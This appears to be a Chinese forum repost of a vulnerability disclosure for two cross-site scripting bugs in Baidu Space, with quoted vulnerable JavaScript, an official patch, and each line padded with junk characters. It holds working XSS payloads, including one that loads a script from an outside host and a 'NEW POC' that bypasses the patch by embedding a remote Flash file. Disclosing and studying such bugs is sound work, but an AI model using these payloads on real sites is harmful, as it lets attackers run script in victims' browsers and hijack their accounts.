百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 7 ^4 Y5 h k/ Y Z3 M$ Y
( }3 U+ |$ P3 W4 Q0 t1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. , ~/ X5 D2 y! W2 h
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 1 s* w+ N [5 M
+ i9 i7 Q. ` }2 f
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> ( Y' o2 f5 ^, U, l
其中BdUtil.insertWBR为
6 b( W' T2 g: B2 @% nfunction(text, step) { 0 I% w2 T1 Z+ z7 H' T t$ x$ w' y
var textarea = textAreaCache || getContainer(); 7 p7 f) p* [+ f2 T- n
if (!textarea) { : S3 L$ S# X2 i0 Z! K7 j3 y3 l
return text;
* c* L" @+ L7 Z2 N- e } : _# {+ \/ _9 w5 x) r& E
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
+ m! o: C( U4 s& e var string = textarea.value;
0 N( h( j8 X! t/ @$ z' R/ B! O var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 9 s5 E; p' x- d/ d, |- ~" g: {
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
! i) b2 H3 Z. L: X return result;
}3 E p( j3 r5 M! K}
5 M: g- Z; v0 n在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
& l; W5 F- A u! I测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
9 m5 L9 Q9 E! m; E0 R; u - k+ a( w5 A) f% n7 i7 v$ v3 x
二:creatbgmusic() Dom-Xss Bug 8 `9 l+ F/ @6 h. b
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 & A6 B7 P2 Y+ d) S
. E6 j- n$ ] r, ]4 t# E& P, ~
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: % Y! q0 c8 o( U- D, S/ _% M
4 K2 p! H4 b+ t$ w5 Y- I% c
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { ) u1 m$ t7 g% ^9 \' Q
//传入的murl赋值到bgmusic1和bgmusic2中
, [- X2 d D+ h6 ?3 Z, u9 i; p //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 ; S2 F5 L' W' C
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
3 }$ V) z. H1 `1 e if (musicnum <= 1) {
. B8 P3 U+ j. g, z0 L bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
9 V7 D) J4 d. W2 C1 j! ?! o }
7 j* B9 u- u4 L bgmusic1 += "</OBJECT>"; ! x& V& ~+ E5 y9 q6 u" Y
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
1 Y6 n+ ]# c# H- M' m' v6 X if (musicnum <= 1) { % Y0 Q" p4 D. j2 C3 }
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
l& B" s1 y! [' p0 h0 e2 o } 5 R7 _, \- @- [. f$ ]4 w4 F1 Q& j# }
bgmusic2 += "> </EMBED>"; 9 G. f% \# `% u" j
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
1 n7 } d3 q. M0 b5 S# `& m6 Z var bgmus = detectWMP();
4 e' B* E8 g0 J' z; J5 r if (functype == "FckMusicHelper") {
, B3 K- B+ q9 ^: R if (bgmus.installed) {
" H+ g* X' L; v% t) M7 \7 U if (bgmus.type == "IE") { 8 ?/ i: c7 ?7 A. D
return bgmusic1; ( c' R+ \8 N2 w' J9 z
} else if (bgmus.type == "NS") { # A$ W& e' C. v$ j
return bgmusic2;
# d/ ^2 R8 c! \; T. L2 ^ } 0 Z6 S! D% K3 R* i! Y7 y
} else { + O6 |, a# Z% _- ?. K0 D+ ]/ z |
return bgmusic3;
9 u; F# P: }/ ]) L% i } # x2 S9 h' F% E V7 u# T4 b8 |! ]
} else { 1 F, {4 D. o. C+ y# a
if (bgmus.installed) {
( q, \7 v+ ~+ u r2 C$ y% ~5 z //document.write 直接输出bgmusic变量 导致xss
' B; o: q. i6 n1 y* S$ r8 M; v if (bgmus.type == "IE") { ]0 U+ O: `% k7 \
document.write(bgmusic1); ! X$ J' R1 G4 ?6 ~) r
} else if (bgmus.type == "NS") { v9 S, y0 B. Z9 Y1 W- U) P
document.write(bgmusic2); 1 ?1 d, ~9 O+ L! l
} 8 D, R& F1 l6 V1 {4 V
} else {
: p. n( i/ C& q4 @ document.write(bgmusic3);
% p# u1 y, d5 Y }
1 i& E. {( v& r- N8 N+ b return ""; 5 F3 S$ f) P x3 [2 |
} - M9 N6 g7 Q F' o1 A! K# @% A: ?
} * W. e) s0 y+ D ?& J) r
& v+ l% P. M9 I在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
& ^5 u1 I, Z2 {7 K: u) G1 t1 B$ k0 y
\: `+ r0 n9 L7 Qfunction initBlogTextForFCK(){
* a/ `+ s! D! }, J' H. J//fck init music
8 R$ s6 t7 c. zif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
+ m5 Q5 W9 S' i/ ^var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 8 g! |/ S& ^# |% k& M9 d% V
var isAutoPlay=true; 8 v5 x* a, y) B
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 6 v9 M: r( ?2 J% g. d+ A
var img=imgBox;
) q( O# [; s# K; q9 K$ i8 R if(img.getAttribute(’rel’)){
% p8 ?( V! k# E: j, ]& P( u$ r% I var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc 1 W5 q& P! C' v
var musicDiv = document.createElement("SPAN"); @/ z2 |" W, P6 |) c" N/ d
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
. o( S- {/ ^, [. N ; k, ~& W0 x9 W% |
..........................
% u6 h( E6 t' a3 f) K
+ m- v r6 \5 V% \. v //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
* k: s3 G9 G" } Q' I var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ) d2 `0 l# n3 x1 \( R2 R
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); % q" e- \9 s" B) q8 D9 ]
musicDiv.innerHTML=shtml; % @/ o& F: U( G: Y/ H) ~
i--;n--;
1 b) }5 v2 q- _% R' | } 8 `9 j5 `+ q4 L3 v( b
} ' j% @# i7 |8 ~) L/ p4 m
% ^# n& V3 [2 K9 a
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. - _8 _2 \ z) A8 C/ r. U9 W
% @1 D; y! K3 J4 }8 p: B
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
, k0 v4 g5 V+ w0 }( S" Q9 e5 [8 N: u1 R7 N0 G: q! x$ C% T8 d
等待官方补丁
. H2 J. o% g7 g. w2 D
$ P5 @, U( M. n& q5 B6 B6 Q# ~update 2010年5月13日
2 p* P. h/ Y s( `: S, W8 g* @. l
9 p& T$ y( J: ~2 S5 S9 w' l官方补丁: # V$ l2 f3 m/ |/ b
) y. O$ | m- S2 b5 x
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); F& z G' x8 C) M
改为:
* \) D. f( G% k$ g9 r: p+ H1 Kvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); * W4 w3 ~2 q8 _3 M# z
1 m5 |% |3 [/ Q9 m% r1 Bupdate 2010年5月13日 21:50:37
# r+ y5 Y, D& o
( ]! ]: N+ I% a6 E5 h v9 m6 S) c补丁存在漏洞 没有过滤" 可以继续跨:
1 n3 C- _4 z+ v0 l3 r. v/ u1 ]+ |
9 \1 w1 P, V+ q$ t' bNEW POC: ) B0 V( K6 S. m4 M8 v) W2 s+ |
' A/ c2 K k% l1 d9 O
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
: y0 R7 C0 k# C; r
2 A' }/ v- D0 o9 C* a; {* Eallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>- n$ M) }9 l+ t/ @$ O5 [
, c1 ^: S. _! P2 M! x2 a' [ |